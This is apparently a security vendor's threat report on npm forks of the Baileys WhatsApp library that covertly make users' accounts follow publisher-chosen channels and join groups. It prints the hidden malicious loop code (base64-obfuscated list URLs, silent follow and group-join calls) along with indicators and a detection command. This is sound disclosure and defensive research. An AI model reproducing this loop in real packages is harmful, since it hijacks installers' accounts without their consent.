This is a follow-up to our October report on 285 PhantomSub packages. PhantomSub forks of the Baileys WhatsApp library make the installer's own account follow WhatsApp channels the publisher chose. This post covers one form of it that our October count, and our own detector, did not see.
What CyberXYZ found
- 17 packages, 83 covert versions. On 6 November 2026 we read all 93 published versions of the 17, statically. 51 versions carry the
loadBaseloop; 32 older versions of the same packages follow channels fromnewsletter.jsinstead. None of the 17 had an OSV record that day. - 12 packages that no earlier report named, with 65 covert versions. The other 5 were in our October list; the loop adds 8 versions to them.
- Months older than its first description. The earliest
loadBaseversion, @skycodee/baileys 8.0.5, was published on 28 February 2026. 50 of the 51 were on npm before the loop was first described, on 23 September 2026. The newest, @finzzcloud/baileys 1.0.0, appeared on 2 November. - The lists are still serving. 10 of the 21 list URLs returned channel IDs on 6 November. One returned 100 entries, labelled "Permanen" or with an expiry date. Two packages also join WhatsApp groups from a second list.
- Our check command and detector missed it. The command in our October post does not see this loop (the new command does), and our detector caught it only after a fix merged on 5 November 2026.
- CyberXYZ Check now blocks all 83. Our analysts confirmed every covert version on 7 November 2026, and Check returned block for all 83 on 9 November. The 12 new packages are reported to OpenSSF, credited to CyberXYZ, in pull request #1752.
Search the fork for loadBase. The follow call in this loop reads q.FOLLOW, not QueryIds.FOLLOW, so a search for the usual follow call misses it. The command below finds both.
What CyberXYZ found
Everything in this section is CyberXYZ research, measured on 6 November 2026. We downloaded every published version of the 17 packages from the npm registry, confirmed npm's integrity hash, and read the code. Nothing was executed. For each version we checked the four things that make a follow covert, the same test as in October: the follow call, an automatic trigger, a target the publisher chose, and no notice to the user.
- 83 versions are covert. 51 carry
loadBase. The other 32, in four of the packages, follow fromlib/Socket/newsletter.jsinstead. - 4 versions cannot run: their
newsletter.jsdoes not parse, so the library fails to load. We did not count them. - 6 versions are clean: @skycodee/baileys 8.0.0 to 8.0.4 ship no
lib/folder at all, and @finzzcloud/baileys 0.0.0-stage is a placeholder. - None documents the follow. No README mentions it, and no version prints a notice.
We compared the 17 names with every package named in the PhantomSub write-ups and with OSV. 12 appear nowhere. The other 5 (@danzxcode/danzx-bail, @elfhkry/baileys, @fyxzbail/baileys, @skycodee/baileys and @xyrozero/baileys-mod) were in our October list through a different follow in socket.js. For them the second loop is new, and so are 8 versions that have only this loop.
| Package | Covert versions | With loadBase | Published | Targets from | In our October list |
|---|---|---|---|---|---|
| @alluffyofficial/baileys | 1 of 1 | 1 | Apr 2026 | ch-allufy (Vercel) | no |
| @danzxcode/danzx-bail | 3 of 3 | 3 | Apr to Jun 2026 | ch-danzx, danzx-bail (Vercel) | yes |
| @dyyxyzz/baileys-mod | 27 of 29 | 2 | Dec 2025 to Mar 2026 | hard-coded channels; skyzopedia/Screaper, DyyEuuee/Nani (GitHub) | no |
| @dyyxyzz/baileys | 6 of 8 | 1 | Feb to Mar 2026 | DyyEuuee/Nani (GitHub); a hard-coded channel | no |
| @elfhkry/baileys | 2 of 2 | 2 | May 2026 | Fhkryy/Fhkry (GitHub), channels and groups | yes |
| @finzzcloud/baileys | 1 of 2 | 1 | Nov 2026 | ch-finzzcloud (Vercel) | no |
| @fyxzbail/baileys | 1 of 1 | 1 | Jul 2026 | Fyxzpediaa (GitHub) | yes |
| @gadzzofficial/baileys | 1 of 1 | 1 | Apr 2026 | ch-gadzzxmod (Vercel) | no |
| @koezoet21/baileys | 1 of 1 | 1 | Apr 2026 | ch-koezoet (Vercel) | no |
| @lyyncode/lyyn-bail | 11 of 11 | 11 | Mar to May 2026 | skyzopedia/Screaper (GitHub); ch-lyyncode, ch-rho (Vercel) | no |
| @pratamamd/baileys | 2 of 2 | 2 | Mar 2026 | PratamaMD/SaluranIDs (GitHub) | no |
| @rizzxdc/baileys | 1 of 1 | 1 | May 2026 | rizzxstorr-beep/Asep (GitHub), channels and groups | no |
| @robihostingid/baileys | 3 of 3 | 2 | Mar 2026 | skyzopedia/Screaper, robihosting/Screaper (GitHub) | no |
| @skycodee/baileys | 11 of 16 | 11 | Feb to Jul 2026 | skyzopedia/Screaper (GitHub) | yes |
| @whatsappbot/baileys | 10 of 10 | 9 | Mar 2026 | whatsapp-bot-2026/Screaper, yazxzpedia/Screaper (GitHub); a hard-coded channel | no |
| @xyrozero/baileys-mod | 1 of 1 | 1 | May 2026 | skyzopedia/Screaper (GitHub) | yes |
| @yaszz/bail | 1 of 1 | 1 | Jun 2026 | Yaszz-17/Newsletter (GitHub) | no |
| All 17 | 83 of 93 | 51 | Dec 2025 to Nov 2026 | 5 of 17 |
Covert versions out of all published versions, and when the covert ones were published, read 6 November 2026. "In our October list": named in our October post through its follow in socket.js. Downloads per package are in fig. 2.
Almost all of these versions were published months ago. 82 of the 83 were on npm before SafeDep's 10 August 2026 write-up on PhantomSub:
Data table
| Month | With loadBase | Older form | Total |
|---|---|---|---|
| 2025-12 | 0 | 2 | 2 |
| 2026-01 | 0 | 5 | 5 |
| 2026-02 | 3 | 22 | 25 |
| 2026-03 | 27 | 3 | 30 |
| 2026-04 | 7 | 0 | 7 |
| 2026-05 | 9 | 0 | 9 |
| 2026-06 | 2 | 0 | 2 |
| 2026-07 | 2 | 0 | 2 |
| 2026-08 | 0 | 0 | 0 |
| 2026-09 | 0 | 0 | 0 |
| 2026-10 | 0 | 0 | 0 |
| 2026-11 | 1 | 0 | 1 |
How the loop works
Stock Baileys builds its socket in layers, and one layer, makeNewsletterSocket, runs every time your bot creates a socket. In these forks it calls one extra line: loadBase(newsletterWMexQuery, QueryIds). The function lives in lib/Utils/messages-media.js, among the helpers that download media from messages. Someone reviewing the socket code has no reason to open that file.
makeNewsletterSocket runs as part of the normal socket setup and calls loadBase, handing it the WhatsApp query helper and the table of query IDs.
By then the session has connected and logged in.
The list URL is stored in base64. The list is JSON on GitHub or Vercel, and the publisher can change it at any time.
Five seconds apart, it sends the FOLLOW query for each channel through your session. Errors are swallowed and nothing is logged.
This excerpt is from @lyyncode/lyyn-bail 9.0.8, the package's latest release. The string on line 352 decodes to hxxps://ch-rho[.]vercel[.]app/lyyn. Line 90 of lib/Socket/newsletter.js, inside makeNewsletterSocket, calls it: const newsletterQuery = loadBase(newsletterWMexQuery, QueryIds).
348 export const loadBase = async (n, q) => { 349 try { 350 setTimeout(async () => { 351 352 const encoded = "aHR0cHM6Ly9jaC1yaG8udmVyY2VsLmFwcC9seXlu"; 353 const url = Buffer.from(encoded, "base64").toString("utf-8"); 354 355 const res = await fetch(url); 356 const newsletterIds = await res.json(); 357 358 for (const i of newsletterIds) { 359 await delay(5000); 360 try { 361 await n(i.id, q.FOLLOW); 362 } catch {} 363 } 364 365 }, 80000); 366 } catch {} 367 };
Line 361 is the follow. n is the query helper and q the table of query IDs, so the call never spells out QueryIds.FOLLOW or the FOLLOW query ID. That is why searches for those strings, ours included, did not find it.
Variants in the code
Group joins as well as channels
@rizzxdc/baileys 8.0.10 and @elfhkry/baileys 8.0.11 and 8.0.12 receive one more function, groupAcceptInvite. After following the channels, they fetch a second base64-hidden list, of group invite codes, and accept each one, so the account also joins WhatsApp groups. In @rizzxdc/baileys the two strings decode to files in the rizzxstorr-beep/Asep repository on GitHub. Both URLs end in %20, an encoded space, and the channel list really is stored under that name: it served 3 channel IDs on 6 November.
348 export const loadBase = async (n, q, groupAcceptInvite) => { 367 try { 368 if (groupAcceptInvite) { 369 const encodedGc = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jpenp4c3RvcnItYmVlcC9Bc2VwL3JlZnMvaGVhZHMvbWFpbi9ncm91cC5qc29uJTIw"; 370 const urlGc = Buffer.from(encodedGc, "base64").toString("utf-8"); 371 372 const resGc = await fetch(urlGc); 373 const groupCodes = await resGc.json(); 374 375 for (const code of groupCodes) { 376 await delay(5000); 377 try { 378 await groupAcceptInvite(code); 379 } catch {} 380 }
Lines 349 to 366, not shown, are the channel loop from the first excerpt. Everything after line 386 is media code again, starting with downloadContentFromMessage.
An off switch nobody is told about
@finzzcloud/baileys 1.0.0, published on 2 November 2026, is the newest version of the loop. It follows once per logged-in account rather than once per process, and it stops if the environment variable BAILEYS_AUTO_FOLLOW is set to off. The default is on. The README does not mention the variable or the follow, and the list URL is still hidden in base64. We count it as covert: a switch the user is never told about does not make the follow disclosed, and hiding the targets never makes a follow acceptable.
348 export const loadBase = async (n, q, getId) => { 349 if (String(process.env.BAILEYS_AUTO_FOLLOW || "on").toLowerCase() === "off") return; 350 // sekali per AKUN (bukan per proses) -> bot utama & multi session masing-masing ikut follow 351 const done = (globalThis.__baileysAutoFollowDone ||= new Set()); 352 const timer = setTimeout(async () => { 359 done.add(key); 360 const encoded = "aHR0cHM6Ly9jaC1maW56emNsb3VkLnZlcmNlbC5hcHAvbHl5bg"; 361 const url = process.env.BAILEYS_CH_LIST_URL || Buffer.from(encoded, "base64").toString("utf-8"); 362 const res = await fetch(url);
The Indonesian comment on line 350 reads "once per ACCOUNT (not per process): the main bot and each multi-session account all follow". The string on line 360 decodes to hxxps://ch-finzzcloud[.]vercel[.]app/lyyn, which served 7 channel IDs on 6 November.
One file, byte for byte, across five packages
In 20 of the 51 versions, lib/Utils/messages-media.js is the same file (sha256 657662b2…88939): @skycodee/baileys 8.0.5 to 8.0.15, @lyyncode/lyyn-bail 8.0.8 to 9.0.4, @robihostingid/baileys 8.0.8 and @xyrozero/baileys-mod 8.0.14. It is also the file in @rixxcodex/baileys 8.2.0 to 9.0.3, where Amazon Inspector first described the loop. All of them fetch the same list, skyzopedia/Screaper on GitHub. @skycodee/baileys shipped the file on 28 February 2026, seven months before @rixxcodex/baileys did, and its 8.0.12 source is published in the skyzopedia GitHub account, the account that hosts that list.
Smaller changes
- @fyxzbail/baileys renames the parameters,
a(item.id, b.FOLLOW). - @yaszz/bail adds
?t=and the current time to the list URL, so every fetch skips caches and gets the newest list. - Older versions of @dyyxyzz/baileys-mod, back to 16 December 2025, follow from
newsletter.js: hard-coded channels 5 or 70 seconds after the socket is created, a fetched list after 80 seconds, or both. Its 7.0.7 and 7.0.8 switch toloadBasewith the same list. - @dyyxyzz/baileys 1.0.3 and 1.0.4 and @dyyxyzz/baileys-mod 6.0.25 and 7.0.4 carry the follow, but a typo (
QueryIds.>) or a missing parenthesis stopsnewsletter.jsfrom parsing, so the library never loads. We did not count them. Nor did we count @modifikasi/baileys, which ships the loop with its list URL blanked out.
The lists behind it
The loadBase loops and the older newsletter.js follows in these packages fetch 22 list URLs (not counting the socket.js follow of the five October packages). We requested the 21 that are plain JSON on GitHub or Vercel once, on 6 November 2026, and stored the answers as data. 10 served channel IDs. The other 11 returned 404, were disabled by Vercel, timed out, or served broken JSON. The 22nd is a GitHub web page rather than a raw file, so the fork that fetches it cannot read it.
Data table
| List | Entries |
|---|---|
ch-gadzzxmod (Vercel) | 100 |
ch-allufy (Vercel) | 32 |
skyzopedia/Screaper | 23 |
ch-finzzcloud (Vercel) | 7 |
DyyEuuee/Nani | 4 |
ch-koezoet (Vercel) | 4 |
rizzxstorr-beep/Asep | 3 |
ch-rho (Vercel) | 1 |
PratamaMD/SaluranIDs | 1 |
Yaszz-17/Newsletter | 1 |
The entries carry labels. In the largest list, ch-gadzzxmod[.]vercel[.]app/lyyn, 85 of the 100 entries say "Permanen" (Indonesian for permanent) and 15 say "Exp 20 mei" or "Exp 5 Mei", an expiry date. The skyzopedia/Screaper list labels 21 of its 23 entries "Lifetime". The labels suggest that places on these lists are sold, either for good or until a date. Every bot that runs one of these forks then delivers a follower to each channel on the list.
| Type | URL | Fetched by | 6 Nov 2026 |
|---|---|---|---|
| Channel list | hxxps://ch-allufy[.]vercel[.]app/lyyn | @alluffyofficial/baileys | 32 channel IDs |
| Channel list | hxxps://ch-danzx[.]vercel[.]app/lyyn | @danzxcode/danzx-bail | disabled by Vercel (402) |
| Channel list | hxxps://danzx-bail[.]vercel[.]app/lyyn | @danzxcode/danzx-bail | no response (timed out) |
| Channel list | hxxps://raw[.]githubusercontent[.]com/DyyEuuee/Nani/refs/heads/main/codes/bailwa.json | @dyyxyzz/baileys, @dyyxyzz/baileys-mod | 4 channel IDs |
| Channel list | hxxps://raw[.]githubusercontent[.]com/Fhkryy/Fhkry/refs/heads/main/ell.json | @elfhkry/baileys | 404 |
| Group invites | hxxps://raw[.]githubusercontent[.]com/Fhkryy/Fhkry/refs/heads/main/GROUP.json | @elfhkry/baileys | 404 |
| Channel list | hxxps://ch-finzzcloud[.]vercel[.]app/lyyn | @finzzcloud/baileys | 7 channel IDs |
| Channel list | hxxps://raw[.]githubusercontent[.]com/Fyxzpediaa/Script-Script-Function-Bot-Apikey-Superiosjakaoqobxzobqshgttr/main/image-tohitam.json | @fyxzbail/baileys | 404 |
| Channel list | hxxps://ch-gadzzxmod[.]vercel[.]app/lyyn | @gadzzofficial/baileys | 100 entries (129 channel IDs) |
| Channel list | hxxps://ch-koezoet[.]vercel[.]app/lyyn | @koezoet21/baileys | 4 entries (13 channel IDs) |
| Channel list | hxxps://raw[.]githubusercontent[.]com/skyzopedia/Screaper/refs/heads/main/idChannel.json | @skycodee/baileys, @lyyncode/lyyn-bail, @robihostingid/baileys, @xyrozero/baileys-mod, @dyyxyzz/baileys-mod | 23 channel IDs |
| Channel list | hxxps://ch-lyyncode[.]vercel[.]app/lyyn | @lyyncode/lyyn-bail | disabled by Vercel (402) |
| Channel list | hxxps://ch-rho[.]vercel[.]app/lyyn | @lyyncode/lyyn-bail | 1 channel ID |
| Channel list | hxxps://raw[.]githubusercontent[.]com/PratamaMD/SaluranIDs/refs/heads/main/IDs.json | @pratamamd/baileys | 1 channel ID |
| Channel list | hxxps://raw[.]githubusercontent[.]com/rizzxstorr-beep/Asep/refs/heads/main/idchanel.json%20 | @rizzxdc/baileys | 3 channel IDs |
| Group invites | hxxps://raw[.]githubusercontent[.]com/rizzxstorr-beep/Asep/refs/heads/main/group.json%20 | @rizzxdc/baileys | 404 |
| Channel list | hxxps://raw[.]githubusercontent[.]com/robihosting/Screaper/refs/heads/main/idChannel.json | @robihostingid/baileys | served broken JSON (1 entry, trailing comma) |
| Channel list | hxxps://raw[.]githubusercontent[.]com/whatsapp-bot-2026/Screaper/refs/heads/main/idChannel.json | @whatsappbot/baileys | 404 |
| Channel list | hxxps://raw[.]githubusercontent[.]com/whatsapp-bot-2026/Screaper/main/idChannel.json | @whatsappbot/baileys | 404 |
| Channel list | hxxps://raw[.]githubusercontent[.]com/yazxzpedia/Screaper/refs/heads/main/idChannel.json | @whatsappbot/baileys | 404 |
| Channel list | hxxps://raw[.]githubusercontent[.]com/Yaszz-17/Newsletter/main/id.json | @yaszz/bail | 1 channel ID |
| Channel list | hxxps://github[.]com/DyyEuuee/Nani/blob/main/codes/bailwa.json | @dyyxyzz/baileys, @dyyxyzz/baileys-mod | a GitHub web page, not raw JSON; not requested |
Who installs them
npm counted 11,052 downloads of the 17 packages from 7 October to 5 November 2026. On deps.dev, no npm package depends on the latest version of any of the 14 packages it indexes, so these reach people who install them directly, mostly to build WhatsApp bots.
Data table
| Package | Downloads, 30 days |
|---|---|
@skycodee/baileys | 2,370 |
@lyyncode/lyyn-bail | 2,195 |
@dyyxyzz/baileys | 1,615 |
@whatsappbot/baileys | 775 |
@dyyxyzz/baileys-mod | 731 |
@danzxcode/danzx-bail | 684 |
@pratamamd/baileys | 453 |
@robihostingid/baileys | 438 |
@finzzcloud/baileys | 345 |
@gadzzofficial/baileys | 238 |
@fyxzbail/baileys | 234 |
@xyrozero/baileys-mod | 225 |
@koezoet21/baileys | 212 |
@alluffyofficial/baileys | 211 |
@yaszz/bail | 206 |
@elfhkry/baileys | 105 |
@rizzxdc/baileys | 15 |
What is ours, and who described the loop first
The 17 packages, the reading of all 93 versions, the lists and their state, and the reports to OpenSSF credited to CyberXYZ are ours. No report from anyone else names any of the 17 (5 were in our own October list), and none of them had an OSV record or a GitHub malware advisory on 6 November 2026. Aikido's automated package feed labels some versions of six of them as malware, with no description of what the code does.
Amazon Inspector reported the campaign first, in single-package OSV records from 26 May 2026 (among them MAL-2026-4803), and described loadBase first, in its OSV report for @rixxcodex/baileys (MAL-2026-16483) on 23 September 2026. SafeDep published the first campaign write-up on 10 August 2026, Xygeni followed on 18 September, and OX Security named it PhantomSub on 28 September, showing the same hidden list URL in @rixxcodex/baileys.
How to check your project
This loop finds every Baileys fork in node_modules (any package that ships lib/Socket/newsletter.js and is not @whiskeysockets/baileys) and searches its lib/ for the follow in all its forms, loadBase included. It reads each package's real name, so a fork installed under an alias is still caught.
find node_modules -path '*/lib/Socket/newsletter.js' | while read -r f; do
d="${f%/lib/Socket/newsletter.js}"
name=$(node -p "require('./$d/package.json').name")
[ "$name" = "@whiskeysockets/baileys" ] && continue
echo "== $name ($d)"
grep -rn --include='*.js' -E 'loadBase|7871414976211147|24404358912487870|\.FOLLOW\b|newsletterFollow\(' "$d/lib" | cut -c1-160
done
No output means no fork. Two kinds of hit are normal: the FOLLOW entry in the query-ID table under lib/Types, and the follow inside the newsletterFollow function, which is the call your own code makes. Any loadBase hit, and any FOLLOW inside a timer or a connection.update listener, is the sign to look for.
We tested it on 6 November 2026, in bash and zsh, on a project holding the official @whiskeysockets/baileys 7.0.0-rc14 and copies of three forks from this post, two of them in folders with other names, as an alias install puts them. It skipped the official package, printed the loadBase definition, its call and the q.FOLLOW line in the two loadBase forks, and printed the timer follows in the third. The command from our October post, run on the same project, printed none of the loadBase lines.
What CyberXYZ does about it
Our detector missed this loop until 5 November 2026. It recognised a follow only when the code named newsletterFollow, QueryIds.FOLLOW or the FOLLOW query ID, and loadBase receives the query table as a parameter instead. The fix, merged on 5 November, treats a FOLLOW ID handed to a helper as a follow, with the same tests as before: an automatic trigger, a target the publisher chose, no notice. We measured it on 7,335 Baileys-family versions before merging. It flagged 13 more versions and lost no earlier finding. It still flags none of the 116 official Baileys releases and none of the 31 feature forks we use as a false-positive check.
CyberXYZ Check blocks all 83 covert versions. Under the standard policy, CyberXYZ blocks known malware: a version with an OSV malicious-package record, or one our analysts have confirmed. On 6 November 2026 none of the 83 had either, so the install decision for all of them was allow. Our analysts confirmed all 83 from the static read on 7 November, and on 9 November 2026 CyberXYZ Check returned block for every one ("known malicious release"). OSV still had no record for any of the 17 packages that day, so the block rests on our own confirmation.
From 9 November 2026, automatic detections raise an alert on the standard policy. Until then, the install decision under that policy was allow for a version our detector flagged but no analyst had confirmed, although its package report showed the alert. It is now alert, so it is flagged before an analyst reviews it; confirmed malware still blocks. For example, @kyuu2nd/baileys 2.0.25, which our detector flags for an unasked channel follow in lib/Socket/newsletter.js, returned alert ("automated detection") on 9 November 2026.
Reported to OpenSSF, credited to CyberXYZ: the 12 new packages (65 versions) in pull request #1752, filed on 7 November 2026, and the loop plus the 8 new versions added to the 5 packages in our earlier pull request #1674. Both were still open on 9 November 2026; OSV assigns IDs when a report merges.
Supply-chain risk analysis
Mapped to MITRE ATT&CK:
The 17 packages carrying loadBase, the 12 that no earlier report named, the reading of all 93 versions, the 21 lists and their state on 6 November 2026, and the reports to OpenSSF (#1752 and #1674) are CyberXYZ findings. CyberXYZ Check blocks all 83 covert versions (9 November 2026).
Amazon Inspector reported the campaign first, in OSV records from May 2026, and described the loop first, in @rixxcodex/baileys; SafeDep's 10 August write-up, Xygeni and OX Security, which named it PhantomSub, followed.
Appendix A: every covert version
All versions were read on 6 November 2026, and CyberXYZ Check returned block for every covert version on 9 November 2026. Each package links to its CyberXYZ package report. The 12 new packages are in OpenSSF pull request #1752; the other 5 are in #1674.
| Package | Covert versions | Of which with loadBase | Not counted |
|---|---|---|---|
| @alluffyofficial/baileys | 8.0.8 | 8.0.8 | |
| @danzxcode/danzx-bail | 9.0.5 to 9.0.7 | 9.0.5 to 9.0.7 | |
| @dyyxyzz/baileys-mod | 6.0.24, 6.0.26 to 6.0.28, 6.0.32 to 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54, 7.0.5 to 7.0.8 | 7.0.7, 7.0.8 | 6.0.25, 7.0.4 (does not parse) |
| @dyyxyzz/baileys | 1.0.6 to 1.0.8, 1.1.9 to 1.1.11 | 1.1.11 | 1.0.3, 1.0.4 (does not parse) |
| @elfhkry/baileys | 8.0.11, 8.0.12 | 8.0.11, 8.0.12 | |
| @finzzcloud/baileys | 1.0.0 | 1.0.0 | 0.0.0-stage (placeholder) |
| @fyxzbail/baileys | 8.0.14 | 8.0.14 | |
| @gadzzofficial/baileys | 9.0.7 | 9.0.7 | |
| @koezoet21/baileys | 8.0.8 | 8.0.8 | |
| @lyyncode/lyyn-bail | 8.0.8, 8.0.9, 9.0.0 to 9.0.8 | 8.0.8, 8.0.9, 9.0.0 to 9.0.8 | |
| @pratamamd/baileys | 1.0.1, 2.0.0 | 1.0.1, 2.0.0 | |
| @rizzxdc/baileys | 8.0.10 | 8.0.10 | |
| @robihostingid/baileys | 8.0.8, 8.0.9, 9.0.0 | 8.0.8, 9.0.0 | |
| @skycodee/baileys | 8.0.5 to 8.0.15 | 8.0.5 to 8.0.15 | 8.0.0 to 8.0.4 (no lib/ folder) |
| @whatsappbot/baileys | 1.0.0 to 1.0.4, 2.0.0, 5.0.0, 5.0.1, 6.0.0, 6.0.1 | 1.0.0 to 1.0.4, 5.0.0, 5.0.1, 6.0.0, 6.0.1 | |
| @xyrozero/baileys-mod | 8.0.14 | 8.0.14 | |
| @yaszz/bail | 1.0.0 | 1.0.0 |
Appendix B: indicators
Hosts are defanged. Package names, file paths, hashes and channel IDs stay plain so you can search for them.
Protocol and code
| Type | Indicator | Context |
|---|---|---|
| Function | loadBase | exported from lib/Utils/messages-media.js, called from makeNewsletterSocket in lib/Socket/newsletter.js |
| Call | n(i.id, q.FOLLOW) | the follow, 80 seconds after socket creation, 5 seconds between channels |
| Call | groupAcceptInvite(code) | group joins in @rizzxdc/baileys and @elfhkry/baileys |
| Setting | BAILEYS_AUTO_FOLLOW | undocumented off switch in @finzzcloud/baileys 1.0.0 (default on) |
File hashes (sha256)
| File | sha256 | Versions |
|---|---|---|
lib/Utils/messages-media.js | 523d10296ed542ddb12a49c93d990b973f58c9bb716fc15547c7c6c37e81065b | @alluffyofficial/baileys 8.0.8 |
lib/Utils/messages-media.js | b41905238c3feaad4f8eae25b8cd7acea4ae94ec0916e404d9baadc2a49575fd | @danzxcode/danzx-bail 9.0.5, 9.0.6 |
lib/Utils/messages-media.js | cc4da072e185d0312ea0fb7ea0d08edbde8645b6a0218759dca8ab011a85ad59 | @danzxcode/danzx-bail 9.0.7 |
lib/Socket/newsletter.js | 463aacffe1a88ba06c13a41480406dc3727a926ea4bcbdccc34ef62d814be214 | @dyyxyzz/baileys-mod 6.0.24 |
lib/Socket/newsletter.js | 713e645eb8c67e99ea4cf33bcb76a4cfcefea6d578e319e2136c26d8024e3af8 | @dyyxyzz/baileys-mod 6.0.26 |
lib/Socket/newsletter.js | 9fa1e152f5c3e79ba124c01dacce68e92cb7cc73d1095965794059e225092f0b | @dyyxyzz/baileys-mod 6.0.27 |
lib/Socket/newsletter.js | 6f7d318d07dc834bb7da04905aa919f43ec554e8830c66f59e092994a7c9e088 | @dyyxyzz/baileys-mod 6.0.28, 6.0.32, 6.0.33 |
lib/Socket/newsletter.js | dc59b3e3bd172b777e587ccb94762ff750dbb281d4241e3b6acd75edfea4cfe7 | @dyyxyzz/baileys-mod 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54 |
lib/Socket/newsletter.js | c04aa44aee3441eb6a1d35b8dbb6ebac128461b346274a76cb8546258d8653da | @dyyxyzz/baileys-mod 7.0.5, 7.0.6; @dyyxyzz/baileys 1.0.6 to 1.0.8, 1.1.9, 1.1.10 |
lib/Utils/messages-media.js | 1c38d186f020e01b3332b614be5ef3718b9c88789f2ada7bfe88ffa1a090e610 | @dyyxyzz/baileys-mod 7.0.7, 7.0.8; @dyyxyzz/baileys 1.1.11 |
lib/Utils/messages-media.js | 486a040f10373d4c2b365eb8c997ec295fef3878c01b6013be1f69b0536b371c | @elfhkry/baileys 8.0.11, 8.0.12 |
lib/Utils/messages-media.js | 1055f06f9caa22a38a464b30f37b23eedc6735d74b70e997ef6210b7ffd3df4f | @finzzcloud/baileys 1.0.0 |
lib/Utils/messages-media.js | 366e7591c350cb61bbd7ae4ff99bc2eeae4a62346debc49e8577aee1bf2b6c4c | @fyxzbail/baileys 8.0.14 |
lib/Utils/messages-media.js | 067558d9b151ffefe350a3e85446981abd99103ce2d581ec0eae623cb726a0cb | @gadzzofficial/baileys 9.0.7 |
lib/Utils/messages-media.js | 4f10d01fb6f281524eb40a042d28d32f0880a61010c1fb18c801ee322163b655 | @koezoet21/baileys 8.0.8 |
lib/Utils/messages-media.js | 657662b2ae2e8cc1808715d8219d4e7ca7182f6eacda8d79b1cee4b721c88939 | @lyyncode/lyyn-bail 8.0.8, 8.0.9, 9.0.0 to 9.0.4; @robihostingid/baileys 8.0.8; @skycodee/baileys 8.0.5 to 8.0.15; @xyrozero/baileys-mod 8.0.14 |
lib/Utils/messages-media.js | 810d8f9f6b369ba64a3760beea0c0ccfd449399da2d8aedb458d7ce168394963 | @lyyncode/lyyn-bail 9.0.5 |
lib/Utils/messages-media.js | 20563d8117ea37b0df09bc579be38b153000c881022e62536b30b081a41712a4 | @lyyncode/lyyn-bail 9.0.6 to 9.0.8 |
lib/Utils/messages-media.js | 1a8ca088ddf8347271ac34d933946288c1d32c59f03c28ef1bed7440d98f5089 | @pratamamd/baileys 1.0.1, 2.0.0 |
lib/Utils/messages-media.js | 79871975d41504fc0f9488240bee7b25244407844b4e980b599d4f46a94bbefd | @rizzxdc/baileys 8.0.10 |
lib/Socket/newsletter.js | f8762cc88d6e58b9347eef75e5c0a8216a783cd47ec90001f13a93a40600bea9 | @robihostingid/baileys 8.0.9 |
lib/Utils/messages-media.js | 3616c81fe6b723a3951ff05672859ac73853507e3ec717dd151e1dc1e4db37c5 | @robihostingid/baileys 9.0.0 |
lib/Utils/messages-media.js | f258858fddcf8192b20eaa1e18f77f88c3459ba9c282d28eb7462b60beeb6bd1 | @whatsappbot/baileys 1.0.0 to 1.0.4 |
lib/Socket/newsletter.js | 009bca3d6c3d1fc730865dd4f7835519ae140647c620e014af65982d9ab2dca8 | @whatsappbot/baileys 1.0.4 |
lib/Socket/newsletter.js | 2acec6ddbd0cac6ebb1529f998f6a8c06b89ae9df205df53451cd1abefaac783 | @whatsappbot/baileys 2.0.0 |
lib/Utils/messages-media.js | fc0a1e064bfac5944650c26d33720c5ee77b553c8e4bc35e5e2b1096ee639cc1 | @whatsappbot/baileys 5.0.0, 5.0.1, 6.0.0, 6.0.1 |
lib/Utils/messages-media.js | 9f9ac07af807b27673470af9f124782bfaa2df802905aa3ce9eb91d680217571 | @yaszz/bail 1.0.0 |
Channels hard-coded in the code
| Type | Indicator | Followed by |
|---|---|---|
| Channel | 120363426611097080@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363421351741485@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363421366320253@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363400297473298@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363404446053939@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363419967954188@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363402019414675@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363420456838680@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363423932430861@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363311609903865@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363421453223000@newsletter | @dyyxyzz/baileys-mod 6.0.24 |
| Channel | 120363421160571057@newsletter | @dyyxyzz/baileys-mod 6.0.26, 6.0.28, 6.0.32, 6.0.33 |
| Channel | 120363384627502211@newsletter | @dyyxyzz/baileys-mod 6.0.26, 6.0.28, 6.0.32 to 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54, 7.0.5, 7.0.6; @dyyxyzz/baileys 1.0.6 to 1.0.8, 1.1.9, 1.1.10 |
| Channel | 120363419868857431@newsletter | @whatsappbot/baileys 2.0.0 |
References
- CyberXYZ, static read of all 93 published versions of the 17 packages from the npm registry, npm download counts and the 21 channel lists, 6 Nov 2026; CyberXYZ Check verdicts for the 83 covert versions, 9 Nov 2026
- CyberXYZ, 285 PhantomSub packages on npm not in any earlier report (30 Oct 2026)
- CyberXYZ, ossf/malicious-packages pull request #1752, the 12 new loadBase packages (65 versions) credited to CyberXYZ (filed 7 Nov 2026; open on 9 Nov 2026)
- CyberXYZ, ossf/malicious-packages pull request #1674, 257 PhantomSub packages credited to CyberXYZ, the 5 October packages among them (filed 27 Oct 2026; open on 9 Nov 2026)
- OSV, MAL-2026-4803: Malicious code in @fhkry/baileys (npm), Amazon Inspector (26 May 2026)
- SafeDep, Baileys npm forks farm WhatsApp Channel followers, Kunal Singh (10 Aug 2026)
- Xygeni, Malicious npm Package in Baileys Fork (Skyzopedia Case), Fátima Said (18 Sep 2026)
- OSV, MAL-2026-16483: Malicious code in @rixxcodex/baileys (npm), Amazon Inspector (23 Sep 2026)
- OX Security, PhantomSub: Malicious npm Campaign Secretly Adds Users to WhatsApp Spam Channels, Nir Zadok, Moshe Siman Tov Bustan and Vitalii Chepurko (28 Sep 2026)
- OSV, MAL-2026-17342: Malicious code in @bellaxchuu/belbails (npm), credits Amazon Inspector and OX Security (8 Oct 2026)
- MITRE ATT&CK, T1195.002 Compromise Software Supply Chain